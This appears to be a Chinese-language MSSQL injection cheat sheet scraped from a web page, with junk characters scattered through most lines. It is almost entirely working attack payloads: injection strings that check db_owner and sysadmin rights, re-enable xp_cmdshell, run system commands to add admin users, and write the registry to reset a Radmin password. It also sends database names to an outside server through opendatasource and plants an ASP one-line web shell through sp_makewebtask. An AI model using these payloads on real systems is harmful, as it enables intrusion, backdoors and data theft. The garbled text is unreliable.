//看看是什么权限的
1 s8 K: m! _0 y2 A7 m& Y) K8 l$ qand 1=(Select IS_MEMBER('db_owner'))
/ \# W' \6 U& P6 o/ t4 CAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--$ O) K5 _& Q5 M+ N* c( I$ X
9 v7 v) G O- g) f, f! o//检测是否有读取某数据库的权限7 _: x' L5 p l5 t2 r
and 1= (Select HAS_DBACCESS('master'))
1 q6 N7 q8 c" ~, P$ B: lAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
; c" y' z: V0 u/ }! v6 M" o: L, x. ~! w( ]) z# ~
/ ^- R5 I* y6 B& y9 o数字类型2 l( V) a7 O* g4 e, z
and char(124)%2Buser%2Bchar(124)=0
5 Y3 n& ~' }% g' m, s: u" a `" B5 V$ j# o
字符类型2 y7 v/ o- b% S) R/ g
' and char(124)%2Buser%2Bchar(124)=0 and ''='+ d( N4 k$ i! G3 J. y
7 g S8 I0 d' T: ]8 h) [搜索类型
0 v- O+ W% T. g) a4 y6 C' and char(124)%2Buser%2Bchar(124)=0 and '%'='
/ N9 e7 ~! t+ ^3 ~" E" P3 D! Z! j( s7 K2 w' U$ U C
爆用户名0 e5 d5 U$ }: j" U
and user>0
. m: n3 v" K' w5 \6 S' and user>0 and ''='
4 R% n$ z% O/ H7 n
( i6 s0 ~. \6 i- Q! x7 N# M检测是否为SA权限
4 W4 L) N1 |; m2 b3 G$ ?: `and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: P) `0 e' S- _$ c3 ^And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --6 j& u3 B# S( E$ G1 c
( P0 _' ~* c0 ~; `/ z' ~" l2 P检测是不是MSSQL数据库
3 i1 }# X4 T p. A# N- Hand exists (select * from sysobjects);--
, @$ B# W6 M% f6 ~' d6 R+ S2 E3 q0 p0 c, M* w0 k% d
检测是否支持多行
+ H: A% o j) ?! \1 l& {$ K" {- v;declare @d int;--
4 \- C! K/ t5 U9 t
) s/ d/ W. }1 O7 p4 ~$ s恢复 xp_cmdshell
8 \9 f: R4 a8 n+ n& ] G;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--$ v+ l8 M3 D- T: e; n
3 x9 C1 T" K+ W/ R
5 m$ ^6 S5 N1 G2 j; m7 a8 rselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')$ W: c7 D- e9 I4 G, m" v" G
J7 s/ H+ }( ?% h//-----------------------
) j: r1 s) d- d) Z1 X- w. Y7 t// 执行命令
1 ?3 }: A' C# l/ A//-----------------------
8 Z* ?1 e( A% v. Q6 w* h首先开启沙盘模式:& g1 Q1 n0 f4 b( b
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% B% z" @+ t5 s7 w8 F/ A. b4 \6 G/ e, e1 ~- ?, u5 {5 M7 y
然后利用jet.oledb执行系统命令
$ f2 n) a( \& R" k. bselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')6 }0 ^8 L0 @0 h+ V- l9 ^; m/ x: \
4 S2 y" Z8 \! P* c执行命令
- O4 l3 k E4 T2 x- T, P;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--7 D X" ?) ]2 R( r6 d# A- T
7 J. E3 D; M1 ~, i# W! f3 Y( R3 PEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
* H. s& h6 V I" a; S I% b2 V
9 Q+ Y* r* C7 B2 S! c* \ |- E) b判断xp_cmdshell扩展存储过程是否存在:
9 v+ S. \) a8 u9 e0 P F; bhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')' V0 s: S( K4 M' N6 U2 _( j
; Y% ]' Y; X5 C5 [: Q$ m1 y( t, ?
写注册表( t1 n1 ?2 S2 R9 o0 W
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1& |1 C6 t: y1 f; T6 U K7 k
$ G( s" F& B( O. S5 r8 ~& hREG_SZ
1 s! ]- {& C+ e0 a$ ?) A" P- O+ M& o& V3 L/ |
读注册表1 S' b. z/ D) ]# ?( f) W ~
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
0 ?4 O1 `& U* z) P) C# b' C0 v$ S$ i, ?3 v; L' J
读取目录内容
9 I/ K, {# r0 K1 A% J$ ^exec master..xp_dirtree 'c:\winnt\system32\',1,1
& A- }3 d3 X: P# T5 M) m/ f6 R4 b2 D1 t& }1 p7 |4 u
; {; }5 e+ D( o. b
数据库备份- t& U. M) B' N( k1 n* ~) X
backup database pubs to disk = 'c:\123.bak'5 L% w9 f4 ]% R. m4 j6 L% ?
/ e. e# G: f. G* ~1 }
//爆出长度
9 n5 m, ?+ L/ w) uAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--' R6 O: w. t5 h9 O0 b
* Z3 k0 Q; J' N7 U/ _2 N! ~
" M1 j# y9 y+ M, j3 H0 I. L* R. O0 b4 @1 M: G
更改sa口令方法:用sql综合利用工具连接后,执行命令:
: h+ t }0 i: A8 j/ Jexec sp_password NULL,'新密码','sa'
: W/ D0 B+ P& M! m/ z, c, L2 ^, `: I: O) E7 _; U
添加和删除一个SA权限的用户test:
* A- E2 Y9 m* N$ \3 k6 q, }; aexec master.dbo.sp_addlogin test,9530772- C- V1 \$ `' G4 v6 N
exec master.dbo.sp_addsrvrolemember test,sysadmin# P5 X# K. \8 J
$ X8 [1 y' E! c5 i% r5 k+ X" Y删除扩展存储过过程xp_cmdshell的语句:# k6 c2 i7 Q$ H) o
exec sp_dropextendedproc 'xp_cmdshell'7 @! r6 X& W. b' [ b, a) D% F
2 e" P" O# B3 @. b+ @添加扩展存储过过程# V# B$ m1 I/ `/ [( _% z4 |) o
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'8 x I5 D" T' W. Y3 E
GRANT exec On xp_proxiedadata TO public
0 Q! V0 L* ~. S) M+ Q, H
6 @6 j! ?8 M1 X, b8 p+ Z: h, k5 g) d* c+ P
停掉或激活某个服务。& n9 s1 y+ O! r, W
4 f, z8 n' N/ f" D/ \0 Vexec master..xp_servicecontrol 'stop','schedule'; k! Z' X0 U& D( g" o1 \- z
exec master..xp_servicecontrol 'start','schedule'
6 q; t6 w9 H1 X- D, s3 H. l5 X( J$ [! y; f8 ~0 `& j; Z
dbo.xp_subdirs
3 M9 @# ^: G9 A) b3 m
1 S; ]+ l- m; h; Y f( U- c+ w只列某个目录下的子目录。: Q( M; \: K" ^' |" u
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
; m8 J! U5 `0 s. d# t
- Z8 c) M" X- g) L$ g( edbo.xp_makecab
8 f6 J! Z* ]1 A) A, `8 m- e5 P2 Z$ k- i/ z
将目标多个档案压缩到某个目标档案之内。
7 `" {( m1 V* n, g' V所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。* f5 @; |2 u7 B, M/ }0 x
" P& T3 Y$ r+ `; x7 C: u
dbo.xp_makecab
4 l. l( c9 i0 V/ D'c:\test.cab','mszip',1,; F s& m9 k4 u. f
'C:\Inetpub\wwwroot\SQLInject\login.asp',
$ v* A0 k' P- D" M'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
0 t2 f# |2 N9 w4 h* U( s8 x" K: c2 r: l1 _- C8 y
xp_terminate_process% \5 A( q5 q2 d& }; H' j6 ~/ S9 @1 I
7 K' e2 v9 T2 o
停掉某个执行中的程序,但赋予的参数是 Process ID。4 z! K; ]$ @% q5 y' R4 h& P
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID, V1 K* t6 j4 [) u1 V0 ]2 v
/ J7 e. N1 p C nxp_terminate_process 24843 `; u+ ? H% M$ f- c+ P
6 _0 r% k( z( ]' ~! }- Gxp_unpackcab& c: J# d8 H9 O( V8 ^1 i) B# t
. r) z2 \& k: s6 [解开压缩档。
( V* l, M5 f# V4 W( T7 B( C) ~% p, ~$ X' C+ K% m( p- g! t
xp_unpackcab 'c:\test.cab','c:\temp',1
: _" o4 R" F# j/ i, y/ p8 e! o$ K) ^% D& g: n5 f
, C9 S( Z0 _% {1 w
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; Y6 l- N0 q R7 i: S
+ F- b) m7 V' c# z& E$ a$ t% T9 Xcreate database lcx;: |, r7 q. @& z
Create TABLE ku(name nvarchar(256) null);
2 B8 H4 f6 i3 M; @( QCreate TABLE biao(id int NULL,name nvarchar(256) null);% h; x" k& C+ l" E/ w
# e D0 w# x1 n5 z2 z1 w5 ~/ y//得到数据库名
& U' r! r, g7 {insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
) g# S6 R) m% q" L0 I7 S* z8 S- ]' [8 U4 b" t1 I) ^* H
+ P- s3 |6 ^' A. z% V3 J3 G
//在Master中创建表,看看权限怎样
0 w1 @7 T6 o" D7 d7 _Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, b" d4 u, A* q4 F1 m8 ~, p4 {, M) T$ w! }& l9 c0 B7 t
用 sp_makewebtask直接在web目录里写入一句话马:0 Q) z- n. \) ]+ L
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--6 @+ a; h$ W3 |# \1 s5 ]
8 s- ]" \8 X7 ^" w* H6 N8 |//更新表内容7 ?9 a0 m( H- \ V( M
Update films SET kind = 'Dramatic' Where id = 123
* n; b. Y0 W- B! q& R) G8 Z; k
//删除内容
5 o( n l) }; x, r9 D6 ?delete from table_name where Stockid = 3 |